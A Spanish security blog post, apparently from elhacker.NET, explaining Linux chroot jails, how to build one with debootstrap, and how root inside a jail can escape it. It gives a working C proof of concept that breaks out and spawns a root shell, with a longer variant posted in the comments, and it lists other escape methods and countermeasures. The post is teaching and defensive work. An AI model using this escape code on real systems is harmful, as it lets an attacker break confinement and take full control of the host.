Tienda Wifi

Tienda Wifi
CiudadWireless es la tienda Wifi recomendada por elhacker.NET

Buscador

Entradas Mensuales

Suscripción

¿Quieres recibir las últimas novedades del blog en tu correo?

¡Suscríbete al feed!

Foro de elhacker.net - Noticias

elhacker.NET en Facebook

Entradas populares

PostHeaderIcon Jaulas Chroot




- Introducción

En esta entrada vamos a hablar un poco de las bondades y los defectos que tienen las "jaulas chroot" usadas en diferentes sistemas Unix y derivados, centrándonos en este caso en Linux. Antes de meternos en el fregado, vamos a ver un poco las necesidades que nos llevan a usar este u otros métodos que deberían de mostrarse eficaces en cuanto a la securización de nuestros sistemas.

Sin duda, cuando en un Servidor se instala algún Servicio, ya sea Http, Ftp, Smtp, etc., es obligatorio invertir nuestro esfuerzo en tener un sistema lo más funcional y flexible posible, pero a la vez seguro (necesidades que suelen chocar). Hay muchas medidas, como el uso de IDS, los mecanismos de securización propios que nos brinda el servicio, firewalls, etc... Y es aquí donde entran en juego las "jaulas chroot", las cuales serán definidas más tarde apropiadamente, que son una especia de caja, donde metemos un "mini-sistema" sobre el que correrá nuestro Servicio.

¿Qué nos brinda esto?, bueno pues varias cosas, en primer lugar tenemos nuestro Servicio, que es un posible foco de entrada de "personal ajeno a la organización", en una especie de bunquer aislado (luego veremos que no es tan bunquer) que no tiene acceso al resto del sistema, ya que para ese Servicio y para todo lo que haya dentro de la jaula ESE ES EL SISTEMA. Pero... y si alguien consigue acceder mediante alguna vulnerabilidad del Servicio a nuestro Server y además con privilegios de root?, bueno, en principio no debería de preocuparnos la integridad de nuestro Sistema en conjunto (más allá de ese Servicio en específico), ya que el atacante no va a ver más allá de ese "mini-sistema".

Tiene buena pinta, no?, pues a continuación vamos a entrar un poco más en detalle sobre el tema, viendo que efectivamente las "jaulas chroot" son una buena medida de Seguridad si se implementan adecuadamente, pero que no es la panacea y que los chicos malos pueden traspasar los muros de nuestro bunquer.

- Chroot

Tirando de Wikipedia:
"Chroot en un sistema operativo Unix es una operación que cambia el directorio raíz, afectando solamente al proceso actual y a sus procesos hijos. "chroot" se refiere a la llamada de sistema chroot(2) o al programa ejecutable chroot(8)."


Bueno, pues vámonos al man a ver que dice:

man 8 chroot
"chroot - run command or interactive shell with special root directory"

man 2 chroot
"chroot() changes the root directory of the calling process to that specified in path. This directory will be used for pathnames beginning with /. The root directory is inherited by all children of the calling process.
Only a privileged process (Linux: one with the CAP_SYS_CHROOT capability) may call chroot().
This call changes an ingredient in the pathname resolution process and does nothing else."


Resumiendo, nos encontramos con que en Unix hay una llamada al sistema (syscall) de nombre chroot. Su función es sencilla pero muy útil: cambiar la idea que tiene el proceso de cual es el directorio raíz del sistema de ficheros. Poniéndonos un poco técnicos sobre la gestión de ficheros en Unix (y en Linux), esto es decir que lo que se hace es cambiar el número de i-nodo raíz que se proporciona al proceso que se ha sometido a chroot. En el kernel, cada proceso tiene asociados ciertos valores, como pueden ser el UID/GID del usuario que ejecuta el proceso, el pid que identifica al proceso, el estado del mismo, punteros a otros procesos, el directorio actual del proceso y... entre otras cosas: EL DIRECTORIO RAIZ DEL PROCESO. Con chroot podemos modificar este último valor mencionado, es decir, cambiar el directorio raíz del proceso actual y todos sus descendientes. De ahí lo de chroot: change root (me costó deducirlo... :p).

Por lo tanto, para que el proceso pueda funcionar una vez se ha hecho el chroot, es preciso que en su nuevo entorno de ficheros disponga de todo lo necesario para poder ejecutar su labor. Por ejemplo, si incluye bibliotecas dinámicas, habrán de estar disponibles en él con el nombre de fichero absoluto que el proceso espera. Si necesita ficheros de configuración, también habrán de estar disponibles. Y así para todos los ficheros que pueda necesitar.

Los programas tienen permitido llevarse descriptores de archivos abiertos (sean de archivos físicos, de tuberías, o de conexiones de red) dentro del chroot, lo cual puede simplificar el diseño de la jaula haciendo innecesario dejar archivos funcionales dentro del directorio chroot. Esto también funciona como un sistema de capacidades simple, en el cual, al programa se le otorga acceso explícito a los recursos externos del chroot basado en los descriptores que puede llevar a su interior. Aunque esto parece muy bonito, veremos después que no es tan buena idea...

Algunas usos que se le pueden dar a chroot son los siguientes:

- Pruebas y desarrollo
Se puede crear un área de prueba con chroot para el software que de
otra forma sería muy arriesgado usar en un sistema de producción.

- Control de dependencia
Los programas pueden ser desarrollados, construidos y puestos a prueba
en un chroot solo con las dependencias esperadas.
Esto puede prevenir algunas formas de ligado corrupto que surgen
cuando los desarrolladores construyen proyectos con diferentes bibliotecas instaladas.

- Compatibilidad
El software heredado o que usa una diferente interfaz binaria de
aplicación algunas veces debe de ejecutarse en un chroot porque las
bibliotecas que lo soportan o los archivos de datos podrían, de otra forma,
entrar en conflicto de nombres o enlaces con los del sistema.

- Creando una jaula básica. (Supongo que se trabaja con el usuario root)

Buena, una vez que hemos visto someramente como funciona el asunto, vamos a hacer algo sencillo, en nuestro sistema Linux vamos a crear una "jaula chroot" básica, viendo paso a paso como hacerlo y el resultado final. Como dijimos antes, es preciso que en el entorno donde se va a alojar nuestra jaula existan una serie de ficheros sin los que no sería posible que esto funcionase. Para abordar esta tarea tenemos básicamente 2 opciones:

- Hacerlo a mano
- Debootstrap

Obviamente vamos a hacerlo de la segunda manera!
Lo ideal si se quiere trabajar en un entorno chroot es poder instalarlo en cualquier directorio, de forma cómoda, y sin abandonar el entorno de trabajo habitual, de forma que se puedan seguir haciendo otras tareas mientras se hace la instalación. Precisamente esto es lo que permite el paquete debootstrap. Lo primero que tenemos que hacer es asegurarnos de que tenemos instalado debootstrap. Ejecutamos debootstrap a secas:
# debootstrap
El resultado debería ser algo como:
I: usage: [OPTION]... [ []]
I: Try `debootstrap --help' for more information.
E: You must specify a suite and a target.
Si no te aparece un mensaje similar a éste, significa que te toca instalar debootstrap a mano. Este paso es relativamente sencillo en sistemas basados en Debian.
# aptitude install debootstrap
Vamos a explicar de manera breve las principales opciones de debootstrap. La sintaxis de este comando es bastante intuitiva:
# debootstrap $DISTRO $MONTAJE $MIRROR
El parámetro $DISTRO se refiere a la versión de Debian o Ubuntu que deseas instalar. En este caso vamos a escoger Debian Sid, pero siéntete libre de experimentar. La opción $MONTAJE hace referencia al punto de montaje o directorio donde queremos instalar nuestra distro, en nuestro caso crearemos más delante un directorio específico para ello llamado chroot_test. $MIRROR es la última opción y se refiere al repositorio o espejo (mirror en inglés).

Algunas opciones extras (se colocan justo antes de $DISTRO) son:

--arch=ARCH (selecciona la arquitectura ARCH, se sustituye normalmente por i386 o amd64). Ver también la opción --foreign

--download-only (sólo descarga los paquetes, no los instala).

--keep-debootstrap-dir (no borra el directorio debootstrap generado durante la descarga de paquetes).

--unpack-tarball FILE (en vez de descargar los paquetes, los obtiene de un archivo tar, en este caso FILE).

En nuestro caso particular, vamos a instalar Debian sed para una arquitectura i386, antes creamos la carpeta donde trastearemos, esto es:

# mkdir chroot_test
# debootstrap --arch i386 sed ./chroot_test http://ftp.fr.debian.org/debian


Ahora empezará la descarga e instalación de paquetes base, que puede llevar más o menos tiempo dependiendo de la máquina en cuestión y de la conexión disponible, por lo que tendremos que tener paciencia.
Cuando acabe, "chrooteamos" el entorno recién instalado:

# chroot ./chroot_test


Y... voilà!, la shell que obtenemos al ejecutar esta línea está corriendo en el entorno sid. Ahora, dependiendo de nuestras intenciones, configuraríamos la jaula como cualquier Sistema físico real para correr Servicios, hacer pruebas de compatibilidad, etc...

- Rompiendo la jaula

Supongamos, en el contexto de este artículo, que la "jaula chroot" se ha usado para implementar un Servicio accesible desde el exterior (sea un Servidor Web, un FTP u otros nos da igual). Dichos Servicios están expuestos al exterior, por lo que obviamente pueden ser comprometidos por un atacante, pero para eso hemos tomado la medida de "enjaularlo", no?... Supuestamente si algún atacante consiguiese penetrar en nuestro Sistema a través de la explotación del Servicio lo que conseguirá es acceso a un Sistema Limitado: la "jaula chroot". Por ejemplo no tendrá acceso al /etc/passwd real, sino a su hermano pequeño /ruta/en/elgún/lugar/chroot_test/etc/passwd, por lo que podemos decir que nuestro proceso está "atrapado" dentro de una estructura de directorios de la que no puede salir...

... a no ser que sea root en ella! Si el atacante consigue privilegios de administrador al explotar la vulnerabilidad (lo que es muy probable), es posible que pueda escapar de nuestra jaula y conseguir acceso COMPLETO al sistema, y además como root. Hay varias formas de hacer esto, nosotros profundizaremos en una de ellas y daremos unas pinceladas sobre las otras formas.

Para conseguir escapar de la jaula, nos serviremos de la llamada al sistema chroot(), que es usada por ejemplo por el comando de consola de alto nivel chroot. Antes de pasar a explicar en que consiste el método, hay que puntualizar una cosa, cuando se crea una "jaula chroot" se suele crear un sistema base bastante reducido y "seguro", de forma que por ejemplo no es común que se incluyan los binarios para compilar fuentes en C, así que nos tendremos que apañar para usar la syscall con las herramientas que tengamos accesibles en la jaula, algunas opciones para saltarnos esta restricción son:

- Subir nuestras propias herramientas para compilar el exploit
- Subir un binario precompilado y rezar para que funcione.
- Usar algún lenguaje interpretado, ya que estos si que se suelen incluir,
como por ejemplo: Perl, Php, Python, etc...
- ...

Dado que yo voy a explicar el ataque usando código en C, vamos a suponer que optamos por una de las 2 primeras opciones.

Antes de explicar como va el asunto, vamos a echarle un breve vistazo a las 4 llamadas al sistema que vamos a usar en el ataque:

- mkdir(), chroot(), chdir() y execl().

MKDIR()

NAME
mkdir - create a directory

SYNOPSIS
#include
#include

int mkdir(const char *pathname, mode_t mode);


Esta syscall crea un directorio con el nombre que le pasemos en el parámetro PATHNAME, en el modo definido en el parámetro MODE


CHROOT()


NAME
chroot - change root directory

SYNOPSIS
#include

int chroot(const char *path);


Como ya hemos explicado, crea una jaula dentro del directorio especificado en el parámetro PATH.



CHDIR()

NAME
chdir, fchdir - change working directory

SYNOPSIS
#include

int chdir(const char *path);



Esta syscall cambia el directorio actual de trabajo (CWD) del proceso llamante al que se le especifique en el parámetro PATH.



EXECL()

NAME

execl, execlp, execle, execv, execvp - ejecutan un fichero


SINOPSIS

#include

extern char **environ;

int execl(const char *path, const char *arg, ...);

Esta syscall reemplaza la imagen del proceso en ejecución por uno nuevo alojado en PATH, con los parámetros definidos en ARG, es importante apuntar que el primer argumento, por convenio, debe apuntar al nombre de fichero asociado con el fichero que se está ejecutando. La lista de argumentos debe ser terminada por un puntero NULL.


Y una vez que hemos presentado a los ingredientes... a cocinar!
Sabemos que si nuestro directorio de trabajo actual (cwd) está dentro del espacio de nuestra jaula, en caso de hacer un chdir("..") recurrente, seguiremos dentro del árbol de directorios de esta hasta que alcancemos la raíz, una vez que estemos en esta, aunque hagamos de nuevo un chdir("..") no iremos más allá, ya que como dijimos antes todo proceso tiene guardado un puntero a la raiz de su sistema, y en este caso este puntero va dirigido a el directorio ./chroot_test.
Para ejemplificar esto, podemos ayudarnos de la herramienta debugfs, que sirve para "debugear" sistemas de ficheros ext, para ello en una terminal podemos hacer lo siguiente (cada uno debe de indicar la partición donde se aloja su sistema de ficheros):


# debugfs /dev/sda5

debugfs: stat /

Inode: 2 Type: directory Mode: 0755 Flags: 0x0
Generation: 0 Version: 0x00000000:00000065
User: 0 Group: 0 Size: 4096
...


Como vemos en este ejemplo, el directorio root apunta al i-nodo 2, si hiciésemos lo mismo dentro de la jaula obtendríamos algo parecido a esto:


Inode: 43567 Type: directory Mode: 0755 Flags: 0x0
Generation: 0 Version: 0x00000000:00000065
User: 0 Group: 0 Size: 1024
...


En este caso vemos que el puntero va dirigido a una carpeta con i-nodo 43567, y que coincidirá con el i-nodo de chroot_test

Ahora bien, si nosotros somos capaces de ejecutar la syscall chroot() dentro de una jaula, y lo hacemos apuntando a una subcarpeta dentro de esta, cambiaremos la noción de directorio root dentro de la jaula, PERO nuestro cwd ahora se encuentra fuera de esa nueva noción de directorio root, por lo que si hacemos un chdir("..") podremos salir de la jaula, y si repetimos esto n veces hasta alcanzar la raiz real del sistema y chrooteamos de nuevo desde allí, tendremos acceso completo al sistema como superusuario!
¿Porqué funciona esto?: si nuestro cwd está dentro de la jaula, una llamada a chdir() no nos sacará de ella, pero si nuestro cwd se encuentra fuera cuando ya hemos creado la nueva jaula, no hay nada que nos fuerce a permanecer en ella!

Así que vamos a ver si esta aproximación teórica funciona, para ello crearemos un PoC en C que haga lo siguiente:

- Abrimos un manejador que apunte a la raiz de la jaula
- Creamos un subdirectorio en la jaula
- Chrooteamos ese directorio, por lo que estaremos dentro
- Usamos el fd que dejamos abierto antes de ejecutar el paso anterior para
cambiar el cwd (ahora se entiende porque no hay que dejar fd's abiertos)
- Estamos fuera de la jaula, pero todo lo referido a '/' sigue apuntando a la jaula
principal, por lo que iteramos con "cd .." n veces.
- Una vez en la raiz real del sistema, nos chrooteamos de nuevo, y ahora ya si que
está todo perfecto! (para el atacante :p)


El código de la PoC es el siguiente:


#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>


int main(void)
{

int i,dir_fd;

dir_fd=open(".",O_RDONLY);     //abrimos el manejador
mkdir("chroot_breaker", 0700);  //creamos el directorio
chroot("chroot_breaker");  //lo chrooteamos
fchdir(dir_fd);    //volvemos a la raiz de la jaula principal

for (i = 0; i < 100; i++)
chdir("..") ;

chroot(".");
execl("/bin/sh", "/bin/sh",NULL);

}


Por supuesto, esta es únicamente una de las formas que hay de salir de nuestra
"jaula chroot", hay muchas más, algunas más sofisticadas que otras, a
continuación cito alguna de ellas, pero esto ya lo dejo como deberes para
vosotros!:

- Usar mknod para crear un dispositivo de disco raw, con lo que podremos hacer
prácticamente lo que queramos en el sistema
- Encontrar y explotar enlaces fuertes que apunten fuera de la jaula
- Usar mknod para crear un /dev/mem y modificar la memoria del kernel
- Usar ptrace para "tracear" un proceso existente fuera de la jaula, pudiendo
modificar este programa para conseguir nuestros propositos
- ...

- Contramedidas

Para evitar todo este percal, es necesario configurar la jaula concienzudamente y no dejarlo a la ligera, a continuación doy una serie de recomendaciones generales que debieran de ser tenidas en cuenta si pretendemos usar las jaulas como medida extra de seguridad. Las citaré brevemente sin extenderme mucho en cada una:

- Correr la jaula como usuario no-root: Aunque se pueda conseguir explotando
algún bug, contra más difícil lo pongamos mejor
- Gestionar adecuadamente los permisos: De nada sirve no ser root si vamos
dejando programas Setuidados a doquier, y similares...
- Entrar en la jaula explícitamente: la llamada a chroot no cambia por si sola el
cwd (ojo, chroot(2), chroot(8) SI lo hace), por lo que debemos de seguir en
nuestro programa un patrón parecido a este:


...
chdir(dir);
chroot(dir);
setXXuid(nonroot); // deshacernos de los permisos de root
...


- Mantener la jaula lo más sencilla y limpia posible: poco que comentar.
- Cerrar los fd's antes de crear la jaula: porque si no luego pasa lo que pasa...
- Evitar usar ficheros de configuración de la jaula fuera de esta: ya que si alguien
penetra en la jaula, podría modificarlos
- No usar enlace fuertes: Si por cuestiones de usabilidad es necesario usar
archivos de configuración en la jaula provenientes de fuera de esta, algo
bastante común, usar enlaces débiles.
- ...

- Resumen

Bueno, pues ya estamos llegando al final...
Hemos visto que el uso de las "jaulas chroot" puede ser bastante útil para ciertas tareas, incluso para intentar securizar un poco más nuestro Sistema, pero si esto no se hace con cuidado, puede volverse en nuestra contra. A modo de resumen de todo lo visto:

Sólo un usuario con privilegios de root puede romper una jaula, esto es algo obvio, ya que chroot() no fue diseñado para confinar a root dentro de una jaule, sería como decir que el Director de una carcel no puede salir de ella! (aunque más de uno...).
Teniendo esto en cuenta, la forma normal de actuar al configurar una jaula para por ejemplo meter dentro de ella algún Servicio se resume en la siguiente fórmula: chdir() + chroot() + set[e]uid(), un ejemplo simple en un Servidor Web sería el siguiente:

- Inicializar el demonio como root
- "Bindearlo" al puerto 80
- Cambiarnos al directorio que contendrá la jaula, teniendo en cuenta que el
proceso que crearemos heredará fd's, enlaces y demás.
- Chrooteamos
- Nos deshacemos de los permisos de administrador
- Aceptamos conexiones


En todo caso un entorno CHROOT debe considerarse sólo una barrera más, de cara a la seguridad, no una forma de crear máquinas virtuales o entornos 100% seguros. Y, por supuesto, no debe ser el único obstáculo contra intrusiones.

Saludos
-Kamsky-

7 comentarios :

sch3m4 dijo...

Buen artículo Kasmky, me he tomado la libertad de retocar un poco el código:

#include
#include
#include
#include
#include
#include
#include

#define FOLDER "chbrk"
#define PERM 0700
#define MAX_CHDIR 200

#define SHELL "/bin/sh"

int main()
{
int fd;
struct stat statf;
ino_t aux;
unsigned int cont;
struct passwd *owner;
char *directory;

if(getuid()!=0)
{
fprintf(stderr,"\nThis program cannot work without root privileges\n");
return -1;
}

fd=open(".",O_RDONLY);
mkdir(FOLDER,PERM);
chroot(FOLDER);
fchdir(fd);
close(fd);

aux=0;
cont=0;
while(!stat(".",&statf) && aux!=statf.st_ino && cont++ < MAX_CHDIR)
{
aux=statf.st_ino;
chdir("..");
}

if(aux==statf.st_ino)
{
chroot(".");
owner=getpwuid(statf.st_uid);

directory=getcwd(0,0);
fprintf(stderr,"\n+=[ Done! ]=+\n");
fprintf(stderr,"\n+ Directory: %s",directory);
fprintf(stderr,"\n+ Inode: %d",(int)statf.st_ino);
fprintf(stderr,"\n+ Owner: id=%d (%s) / gid=%d \n\n",owner->pw_uid,owner->pw_name,owner->pw_gid);
free(directory);

execl(SHELL,(char*)0,(char*)0);
}


return 0;
}

kamsky dijo...

Gracias

No problem, sólo hice una simple POC, es obvio que el código se puede completar y mejorar, pero la esencia no deja de ser la misma ;)

p.d.: preeeeeeeemio por el comentario número 1! ha ganado un fantástico ferrari! pásese a recogerlo a su concesionario más cercano! :p

SYN dijo...

Gracias Kamsky , me gusta post.. saludos

Charly dijo...

Wenas, me ha gustado tu primer articulo, muy wapo la forma de explotar la jaula y sorprendentemente simple para lo que hay por ahi xD

Solo una cosa, he copiado esta frase de lo que has escrito:

bueno, en principio no debería de preocuparnos la integridad de nuestro Sistema en conjunto (más haya de ese Servicio en específico), ya que el atacante no va a ver más haya de ese "mini-sistema".

y creo que los "haya" deberian ser "allá", no? o eso o deberia irme al hospital xD

Buena aportacion ;)

kamsky dijo...

quién ha puesto eso! yo no fuí! :p maldito corrector...

sch3m4 dijo...

Aquí se ve mejor http://pastebin.com/su0wsDer

Perdón por la tardanza

damontero dijo...

Felicidades por el post, está muy bien explicado.

Quería apuntar que he estado jugando y he visto que no hace falta abrir previamente un descriptor de fichero antes del chroot. Este código si se descomenta nuestra el cwd, y se ve que después de hacer el chroot ya estamos fuera. Sólo tenemos que subir directorios y establecer el chroot para tener acceso a todo el sistema de ficheros.

Por otro lado, al crear el debootstrap se te ha ido la mano y has puesto sed en vez de sid :)

Estaría muy bien que poco a poco pudieras ir explicando con algo más de detalle los otros métodos, porque considero que es un tema más que interesante.


Un saludo!

Publicar un comentario

Los comentarios pueden ser revisados en cualquier momento por los moderadores.

Serán publicados aquellos que cumplan las siguientes condiciones:
- Comentario acorde al contenido del post.
- Prohibido mensajes de tipo SPAM.
- Evite incluir links innecesarios en su comentario.
- Contenidos ofensivos, amenazas e insultos no serán permitidos.

Debe saber que los comentarios de los lectores no reflejan necesariamente la opinión del STAFF.